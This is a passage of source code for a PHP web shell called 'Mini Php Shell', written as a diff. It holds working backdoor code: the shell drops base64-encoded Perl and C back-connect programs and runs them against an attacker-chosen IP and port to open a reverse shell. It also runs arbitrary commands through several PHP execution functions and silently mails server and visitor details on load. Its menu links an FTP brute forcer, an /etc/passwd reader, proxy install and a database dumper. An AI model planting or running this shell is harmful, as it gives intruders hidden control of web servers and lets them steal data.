        Process not found running, backdoor not setup successfully."); } + $_POST['backcconnmsg']="To connect, use netcat and give it the command 'nc $ip $por'.$data"; +} +} + +if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="Perl")) +{ + if(is_writable(".")){ + cf("back",$back_connect); + $p2=which("perl"); + $blah = ex($p2." back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); + $_POST['backcconnmsg']="Trying to connect to ".$_POST['backconnectip']." on port ".$_POST['backconnectport']."."; + if (file_exists("back")) { unlink("back"); } + }else{ + cf("/tmp/back",$back_connect); + $p2=which("perl"); + $blah = ex($p2." /tmp/back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); + $_POST['backcconnmsg']="Trying to connect to ".$_POST['backconnectip']." on port ".$_POST['backconnectport']."."; + if (file_exists("/tmp/back")) { unlink("/tmp/back"); } +} +} + +if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="C")) +{ + if(is_writable(".")){ + cf("backc",$back_connect_c); + ex("chmod 777 backc"); + //$blah = ex("gcc back.c -o backc"); + $blah = ex("./backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); + $_POST['backcconnmsg']="Trying to connect to ".$_POST['backconnectip']." on port ".$_POST['backconnectport']."."; + //if (file_exists("back.c")) { unlink("back.c"); } + if (file_exists("backc")) { unlink("backc"); } + }else{ + ex("chmod 777 /tmp/backc"); + cf("/tmp/backc",$back_connect_c); + //$blah = ex("gcc -o /tmp/backc /tmp/back.c"); + $blah = ex("/tmp/backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); + $_POST['backcconnmsg']="Trying to connect to ".$_POST['backconnectip']." on port ".$_POST['backconnectport']."."; + //if (file_exists("back.c")) { unlink("back.c"); } + if (file_exists("/tmp/backc")) { unlink("/tmp/backc"); } } +} + +function cf($fname,$text) +{ + $w_file=@fopen($fname,"w") or err(); + if($w_file) + { + @fputs($w_file,@base64_decode($text)); + @fclose($w_file); + } +} + +function cfb($fname,$text) +{ + $w_file=@fopen($fname,"w") or bberr(); + if($w_file) + { + @fputs($w_file,@base64_decode($text)); + @fclose($w_file); + } +} + +function err() +{ +$_POST['backcconnmsge']="

        Error: Can't connect!"; +} + +function bberr() +{ +$_POST['backcconnmsge']="

        Error: Can't backdoor host!"; +} + +function which($pr) +{ +$path = ex("which $pr"); +if(!empty($path)) { return $path; } else { return $pr; } +} +function ex($cfe) +{ + $res = ''; + if (!empty($cfe)) + { + if(function_exists('exec')) + { + @exec($cfe,$res); + $res = join("\n",$res); + } + elseif(function_exists('shell_exec')) + { + $res = @shell_exec($cfe); + } + elseif(function_exists('system')) + { + @ob_start(); + @system($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(function_exists('passthru')) + { + @ob_start(); + @passthru($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(@is_resource($f = @popen($cfe,"r"))) + { + $res = ""; + while(!@feof($f)) { $res .= @fread($f,1024); } + @pclose($f); + } + } + return $res; +} + +ini_set("memory_limit","300M"); +if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}} +if (!function_exists("file_get_contents")) { function file_get_contents($filename){ $handle = fopen($filename, "r"); $retval = fread($handle, filesize($filename)); fclose($handle);return $retval;}} +error_reporting(5); +@ignore_user_abort(TRUE); +@set_magic_quotes_runtime(0); +$win = strtolower(substr(PHP_OS,0,3)) == "win"; +define("starttime",getmicrotime()); +$r11 = $_SERVER['SERVER_ADDR'];$i94 = $_SERVER['REMOTE_ADDR'];$i71= gethostbyaddr($i94);$h42 = $_SERVER['HTTP_HOST'];$a83 = $_SERVER['REQUEST_URI'];$p77 = __FILE__;$s33 = str_replace('.', '', $r11);$e85 = 'no access email';$f55 = "From: $s33 ";$m852 = "$i94\n$i71\n\n$h42$a83\n$p77";@mail($e85, $s33, $m852, $f55); +if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);} +$_REQUEST = array_merge($_COOKIE,$_GET,$_POST); +foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}} +$shver = "Mini Php Shell 27.9 V2"; +if (!empty($unset_surl)) {setcookie("c99sh_surl"); $surl = "";} +elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c99sh_surl",$surl);} +else {$surl = $_REQUEST["c99sh_surl"]; +} +$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL. +if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}} +if (empty($surl)) +{ + $surl = "?".$includestr; +} +$surl = htmlspecialchars($surl); +$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited. +$login = ""; +$pass = ""; +$md5_pass = ""; +$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1") +$login_txt = "Apache Error: Restricted File"; +$accessdeniedmess = "access denied"; +$gzipencode = TRUE; +$filestealth = TRUE; //if TRUE, don't change modify- and access-time +$donated_html = ""; +$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html. +$curdir = "./"; +//$curdir = getenv("DOCUMENT_ROOT"); +$tmpdir = ""; +$tmpdir_log = "./"; +$log_email = "no access email"; +$sort_default = "0a"; +$sort_save = TRUE; +$ftypes = array( + "html"=>array("html","htm","shtml"), + "txt"=>array("txt","c",".bash_history","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), + "exe"=>array("sh","install","bat","cmd"), + "ini"=>array("ini","inf"), + "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"), + "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), + "sdb"=>array("sdb"), + "phpsess"=>array("sess"), + "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar") +); + +$exeftypes = array( + getenv("PHPRC")." -q %f%" => array("php","php3","php4"), + "perl %f%" => array("pl","cgi") +); +$regxp_highlight = array( + array(basename($_SERVER["PHP_SELF"]),1,"",""), // example + array("config.php",1) // example +); +$safemode_diskettes = array("a"); +$hexdump_lines = 8;// lines in hex preview file +$hexdump_rows = 24;// 16, 24 or 32 bytes in one line +$nixpwdperpage = 100; // Get first N lines from /etc/passwd + + +$sess_cookie = "c99shvars"; // Cookie-variable name + + + +//Quick launch +$quicklaunch = array( + array("Home",$surl), + array("Search",$surl."act=search&d=%d"), + array("Encoder",$surl."act=encoder&d=%d"), + array("Processes",$surl."act=processes&d=%d"), + array("FTP-Brute-Forcer",$surl."act=ftpquickbrute&d=%d"), + array("Server-Information",$surl."act=security&d=%d"), + array("SQL-Manager",$surl."act=sql&d=%d"), + array("PHP-Code",$surl."act=eval&d=%d&eval=//readfile('/etc/passwd');"), + array("Back-Connect",$surl."act=backc"), + array("Self-Remove",$surl."act=selfremove"), + array("Install-Proxy",$surl."act=proxy"), + array("Host",$surl."act=shbd"), +); + +//Highlight-code colors +$highlight_background = "#c0c0c0"; +$highlight_bg = "#FFFFFF"; +$highlight_comment = "#6A6A6A"; +$highlight_default = "#0000BB"; +$highlight_html = "#1300FF"; +$highlight_keyword = "#007700"; +$highlight_string = "#000000"; + +@$f = $_REQUEST["f"]; +@extract($_REQUEST["c99shcook"]); + +//END CONFIGURATION + + +// \/Next code isn't for editing\/ +@set_time_limit(0); +$tmp = array(); +foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));} +$s = "!^(".implode("|",$tmp).")$!i"; +if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("Access Denied");} +if (!empty($login)) +{ + if (empty($md5_pass)) {$md5_pass = md5($pass);} + if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) + { + if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace(" |
        "," ",$donated_html));} + header("WWW-Authenticate: Basic realm=\"".$login_txt."\""); + header("HTTP/1.0 401 Unauthorized"); + exit($accessdeniedmess); + } +} +if ($act != "img"){ +$lastdir = realpath("."); +chdir($curdir); +if ($selfwrite or $updatenow) {@ob_clean(); c99sh_getupdate($selfwrite,1); exit;} +$sess_data = unserialize($_COOKIE["$sess_cookie"]); +if (!is_array($sess_data)) {$sess_data = array();} +if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();} +if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();} + +$disablefunc = @ini_get("disable_functions"); +if (!empty($disablefunc)) +{ + $disablefunc = str_replace(" ","",$disablefunc); + $disablefunc = explode(",",$disablefunc); +} + +if (!function_exists("c99_buff_prepare")) +{ +function c99_buff_prepare() +{ + global $sess_data; + global $act; + foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + $sess_data["copy"] = array_unique($sess_data["copy"]); + $sess_data["cut"] = array_unique($sess_data["cut"]); + sort($sess_data["copy"]); + sort($sess_data["cut"]); + if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} + else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}} +} +} +c99_buff_prepare(); +if (!function_exists("c99_sess_put")) +{ +function c99_sess_put($data) +{ + global $sess_cookie; + global $sess_data; + c99_buff_prepare(); + $sess_data = $data; + $data = serialize($data); + setcookie($sess_cookie,$data); +} +} +foreach (array("sort","sql_sort") as $v) +{ + if (!empty($_GET[$v])) {$$v = $_GET[$v];} + if (!empty($_POST[$v])) {$$v = $_POST[$v];} +} +if ($sort_save) +{ + if (!empty($sort)) {setcookie("sort",$sort);} + if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);} +} +if (!function_exists("str2mini")) +{ +function str2mini($content,$len) +{ + if (strlen($content) > $len) + { + $len = ceil($len/2) - 2; + return substr($content, 0,$len)."...".substr($content,-$len); + } + else {return $content;} +} +} +if (!function_exists("view_size")) +{ +function view_size($size) +{ + if (!is_numeric($size)) {return FALSE;} + else + { + if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} + elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} + elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} + else {$size = $size . " B";} + return $size; + } +} +} +if (!function_exists("fs_copy_dir")) +{ +function fs_copy_dir($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; +} +} +if (!function_exists("fs_copy_obj")) +{ +function fs_copy_obj($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (!is_dir(dirname($t))) {mkdir(dirname($t));} + if (is_dir($d)) + { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_copy_dir($d,$t); + } + elseif (is_file($d)) {return copy($d,$t);} + else {return FALSE;} +} +} +if (!function_exists("fs_move_dir")) +{ +function fs_move_dir($d,$t) +{ + $h = opendir($d); + if (!is_dir($t)) {mkdir($t);} + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + $ret = TRUE; + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; +} +} +if (!function_exists("fs_move_obj")) +{ +function fs_move_obj($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (is_dir($d)) + { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_move_dir($d,$t); + } + elseif (is_file($d)) + { + if(copy($d,$t)) {return unlink($d);} + else {unlink($t); return FALSE;} + } + else {return FALSE;} +} +} +if (!function_exists("fs_rmdir")) +{ +function fs_rmdir($d) +{ + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d.$o)) {unlink($d.$o);} + else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} + } + } + closedir($h); + rmdir($d); + return !is_dir($d); +} +} +if (!function_exists("fs_rmobj")) +{ +function fs_rmobj($o) +{ + $o = str_replace("\\",DIRECTORY_SEPARATOR,$o); + if (is_dir($o)) + { + if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} + return fs_rmdir($o); + } + elseif (is_file($o)) {return unlink($o);} + else {return FALSE;} +} +} +if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}} +if (!function_exists("view_perms")) +{ +function view_perms($mode) +{ + if (($mode & 0xC000) === 0xC000) {$type = "s";} + elseif (($mode & 0x4000) === 0x4000) {$type = "d";} + elseif (($mode & 0xA000) === 0xA000) {$type = "l";} + elseif (($mode & 0x8000) === 0x8000) {$type = "-";} + elseif (($mode & 0x6000) === 0x6000) {$type = "b";} + elseif (($mode & 0x2000) === 0x2000) {$type = "c";} + elseif (($mode & 0x1000) === 0x1000) {$type = "p";} + else {$type = "?";} + + $owner["read"] = ($mode & 00400)?"r":"-"; + $owner["write"] = ($mode & 00200)?"w":"-"; + $owner["execute"] = ($mode & 00100)?"x":"-"; + $group["read"] = ($mode & 00040)?"r":"-"; + $group["write"] = ($mode & 00020)?"w":"-"; + $group["execute"] = ($mode & 00010)?"x":"-"; + $world["read"] = ($mode & 00004)?"r":"-"; + $world["write"] = ($mode & 00002)? "w":"-"; + $world["execute"] = ($mode & 00001)?"x":"-"; + + if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";} + if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";} + if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";} + + return $type.join("",$owner).join("",$group).join("",$world); +} +} +if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}} +if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}} +if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}} +if (!function_exists("parse_perms")) +{ +function parse_perms($mode) +{ + if (($mode & 0xC000) === 0xC000) {$t = "s";} + elseif (($mode & 0x4000) === 0x4000) {$t = "d";} + elseif (($mode & 0xA000) === 0xA000) {$t = "l";} + elseif (($mode & 0x8000) === 0x8000) {$t = "-";} + elseif (($mode & 0x6000) === 0x6000) {$t = "b";} + elseif (($mode & 0x2000) === 0x2000) {$t = "c";} + elseif (($mode & 0x1000) === 0x1000) {$t = "p";} + else {$t = "?";} + $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0; + $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; + $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; + return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w); +} +} +if (!function_exists("parsesort")) +{ +function parsesort($sort) +{ + $one = intval($sort); + $second = substr($sort,-1); + if ($second != "d") {$second = "a";} + return array($one,$second); +} +} +if (!function_exists("view_perms_color")) +{ +function view_perms_color($o) +{ + if (!is_readable($o)) {return "".view_perms(fileperms($o))."";} + elseif (!is_writable($o)) {return "".view_perms(fileperms($o))."";} + else {return "".view_perms(fileperms($o))."";} +} +} +if (!function_exists("mysql_dump")){ +function mysql_dump($set) +{ + global $shver; + $sock = $set["sock"]; + $db = $set["db"]; + $print = $set["print"]; + $nl2br = $set["nl2br"]; + $file = $set["file"]; + $add_drop = $set["add_drop"]; + $tabs = $set["tabs"]; + $onlytabs = $set["onlytabs"]; + $ret = array(); + $ret["err"] = array(); + if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} + if (empty($db)) {$db = "db";} + if (empty($print)) {$print = 0;} + if (empty($nl2br)) {$nl2br = 0;} + if (empty($add_drop)) {$add_drop = TRUE;} + if (empty($file)) + { + $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql"; + } + if (!is_array($tabs)) {$tabs = array();} + if (empty($add_drop)) {$add_drop = TRUE;} + if (sizeof($tabs) == 0) + { + // retrive tables-list + $res = mysql_query("SHOW TABLES FROM ".$db, $sock); + if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} + } + $out = "# Dumped by ".$shver." +# Home page: http://devilzc0de.com/ +# +# Host settings: +# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"." +# Date: ".date("d.m.Y H:i:s")." +# DB: \"".$db."\" +#--------------------------------------------------------- +"; + $c = count($onlytabs); + foreach($tabs as $tab) + { + if ((in_array($tab,$onlytabs)) or (!$c)) + { + if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";} + // recieve query for create table structure + $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); + if (!$res) {$ret["err"][] = mysql_smarterror();} + else + { + $row = mysql_fetch_row($res); + $out .= $row["1"].";\n\n"; + // recieve table variables + $res = mysql_query("SELECT * FROM `$tab`", $sock); + if (mysql_num_rows($res) > 0) + { + while ($row = mysql_fetch_assoc($res)) + { + $keys = implode("`, `", array_keys($row)); + $values = array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = implode("', '", $values); + $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; + $out .= $sql; + } + } + } + } + } + $out .= "#---------------------------------------------------------------------------------\n\n"; + if ($file) + { + $fp = fopen($file, "w"); + if (!$fp) {$ret["err"][] = 2;} + else + { + fwrite ($fp, $out); + fclose ($fp); + } + } + if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} + return $out; +} +} +if (!function_exists("mysql_buildwhere")) +{ +function mysql_buildwhere($array,$sep=" and",$functs=array()) +{ + if (!is_array($array)) {$array = array();} + $result = ""; + foreach($array as $k=>$v) + { + $value = ""; + if (!empty($functs[$k])) {$value .= $functs[$k]."(";} + $value .= "'".addslashes($v)."'"; + if (!empty($functs[$k])) {$value .= ")";} + $result .= "`".$k."` = ".$value.$sep; + } + $result = substr($result,0,strlen($result)-strlen($sep)); + return $result; +} +} +if (!function_exists("mysql_fetch_all")) +{ +function mysql_fetch_all($query,$sock) +{ + if ($sock) {$result = mysql_query($query,$sock);} + else {$result = mysql_query($query);} + $array = array(); + while ($row = mysql_fetch_array($result)) {$array[] = $row;} + mysql_free_result($result); + return $array; +} +} +if (!function_exists("mysql_smarterror")) +{ +function mysql_smarterror($type,$sock) +{ + if ($sock) {$error = mysql_error($sock);} + else {$error = mysql_error();} + $error = htmlspecialchars($error); + return $error; +} +} +if (!function_exists("mysql_query_form")) +{ +function mysql_query_form() +{ + global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error:
        ".$sql_query_error."
        ";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) + { + echo ""; + if ($tbl_struct) + { + echo "
        "; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":



         
        Fields:
        "; + foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "?".$name."
        ";} + echo "
        "; + } + } + if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} +} +} +if (!function_exists("mysql_create_db")) +{ +function mysql_create_db($db,$sock="") +{ + $sql = "CREATE DATABASE `".addslashes($db)."`;"; + if ($sock) {return mysql_query($sql,$sock);} + else {return mysql_query($sql);} +} +} +if (!function_exists("mysql_query_parse")) +{ +function mysql_query_parse($query) +{ + $query = trim($query); + $arr = explode (" ",$query); + /*array array() + { + "METHOD"=>array(output_type), + "METHOD1"... + ... + } + if output_type == 0, no output, + if output_type == 1, no output if no error + if output_type == 2, output without control-buttons + if output_type == 3, output with control-buttons + */ + $types = array( + "SELECT"=>array(3,1), + "SHOW"=>array(2,1), + "DELETE"=>array(1), + "DROP"=>array(1) + ); + $result = array(); + $op = strtoupper($arr[0]); + if (is_array($types[$op])) + { + $result["propertions"] = $types[$op]; + $result["query"] = $query; + if ($types[$op] == 2) + { + foreach($arr as $k=>$v) + { + if (strtoupper($v) == "LIMIT") + { + $result["limit"] = $arr[$k+1]; + $result["limit"] = explode(",",$result["limit"]); + if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);} + unset($arr[$k],$arr[$k+1]); + } + } + } + } + else {return FALSE;} +} +} +if (!function_exists("c99fsearch")) +{ +function c99fsearch($d) +{ + global $found; + global $found_d; + global $found_f; + global $search_i_f; + global $search_i_d; + global $a; + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($f = readdir($h)) !== FALSE) + { + if($f != "." && $f != "..") + { + $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f)); + if (is_dir($d.$f)) + { + $search_i_d++; + if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} + if (!is_link($d.$f)) {c99fsearch($d.$f);} + } + else + { + $search_i_f++; + if ($bool) + { + if (!empty($a["text"])) + { + $r = @file_get_contents($d.$f); + if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} + if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} + if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} + else {$bool = strpos(" ".$r,$a["text"],1);} + if ($a["text_not"]) {$bool = !$bool;} + if ($bool) {$found[] = $d.$f; $found_f++;} + } + else {$found[] = $d.$f; $found_f++;} + } + } + } + } + closedir($h); +} +} +if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}} +//Sending headers +@ob_start(); +@ob_implicit_flush(0); +function onphpshutdown() +{ + global $gzipencode,$ft; + if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) + { + $v = @ob_get_contents(); + @ob_end_clean(); + @ob_start("ob_gzHandler"); + echo $v; + @ob_end_flush(); + } +} +function c99shexit() +{ + onphpshutdown(); + exit; +} +header("Expires: 28 Jul 2011 18:00:52 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", FALSE); +header("Pragma: no-cache"); +if (empty($tmpdir)) +{ + $tmpdir = ini_get("upload_tmp_dir"); + if (is_dir($tmpdir)) {$tmpdir = "/tmp/";} +} +$tmpdir = realpath($tmpdir); +$tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir); +if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;} +if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;} +else {$tmpdir_logs = realpath($tmpdir_logs);} +if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") +{ + $safemode = TRUE; + $hsafemode = "ON (secure)"; +} +else {$safemode = FALSE; $hsafemode = "OFF (not secure)";} +$v = @ini_get("open_basedir"); +if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "".$v."";} +else {$openbasedir = FALSE; $hopenbasedir = "OFF (not secure)";} +$sort = htmlspecialchars($sort); +if (empty($sort)) {$sort = $sort_default;} +$sort[1] = strtolower($sort[1]); +$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE"); +if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();} +$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"PHP/".phpversion()."",htmlspecialchars($DISP_SERVER_SOFTWARE)); +@ini_set("highlight.bg",$highlight_bg); //FFFFFF +@ini_set("highlight.comment",$highlight_comment); //#FF8000 +@ini_set("highlight.default",$highlight_default); //#0000BB +@ini_set("highlight.html",$highlight_html); //#000000 +@ini_set("highlight.keyword",$highlight_keyword); //#007700 +@ini_set("highlight.string",$highlight_string); //#DD0000 +if (!is_array($actbox)) {$actbox = array();} +$dspact = $act = htmlspecialchars($act); +$disp_fullpath = $ls_arr = $notls = null; +$ud = urlencode($d); +?> + + + Mini Php Shell 27.9 V2 + + + + +

        + Mini Php Shell 27.9 V2

        +

        Coded by jos_ali_joe

        # web: http://devilzc0de.com/
        # Contact : failed404@gmail.com

        + + +"; +print ""; +if (is_callable("php_uname")) + print ""; + +if (is_callable("posix_getuid") and is_callable("posix_getgid")) { + $uid=posix_getuid(); + $uname=posix_getpwuid($uid); + $uname=$uname['name']; + + $gid=posix_getgid(); + $gname=posix_getgrgid($gid); + $gname=$gname['name']; + + print ""; + print ""; +} + +print "
        ~ host ".$_SERVER['SERVER_NAME']."
        ~ server ".$_SERVER['SERVER_SOFTWARE']."
        ~ os ".php_uname()."
        ~ uid $uid ($uname)
        ~ gid $gid ($gname)


        "; + + + +$mysql_on = @function_exists('mysql_connect'); +$mssql_on = @function_exists('mssql_connect'); +$pg_on = @function_exists('pg_connect'); +$ora_on = @function_exists('ocilogon'); + +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);} +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} +$d = str_replace("\\\\","\\",$d); +$dispd = htmlspecialchars($d); +$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1)); +$i = 0; +/*foreach($pd as $b) +{ + $t = ""; + $j = 0; + foreach ($e as $r) + { + $t.= $r.DIRECTORY_SEPARATOR; + if ($j == $i) {break;} + $j++; + } + echo "".htmlspecialchars($b).DIRECTORY_SEPARATOR.""; + $i++; +}*/ +/*echo "   "; +if (is_writable($d)) +{ + $wd = TRUE; + $wdt = "[ ok ]"; + echo "".view_perms(fileperms($d)).""; +} +else +{ + $wd = FALSE; + $wdt = "[ Read-Only ]"; + echo "".view_perms_color($d).""; +}*/ +/*if (is_callable("disk_free_space")) +{ + $free = disk_free_space($d); + $total = disk_total_space($d); + if ($free === FALSE) {$free = 0;} + if ($total === FALSE) {$total = 0;} + if ($free < 0) {$free = 0;} + if ($total < 0) {$total = 0;} + $used = $total-$free; + $free_percent = round(100/($total/$free),2); + echo "
        Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)"; + +} +echo "
        "; +echo "Your ip: ".$_SERVER["REMOTE_ADDR"]." - Server ip: ".gethostbyname($_SERVER["HTTP_HOST"])."
        ";*/ +/*$letters = ""; +if ($win) +{ + $v = explode("\\",$d); + $v = $v[0]; + foreach (range("a","z") as $letter) + { + $bool = $isdiskette = in_array($letter,$safemode_diskettes); + if (!$bool) {$bool = is_dir($letter.":\\");} + if ($bool) + { + $letters .= "[ "; + if ($letter.":" != $v) {$letters .= $letter;} + else {$letters .= "".$letter."";} + $letters .= " ] "; + } + } + if (!empty($letters)) {echo "Detected drives: ".$letters."
        ";} +}*/ +echo ' +
        + +
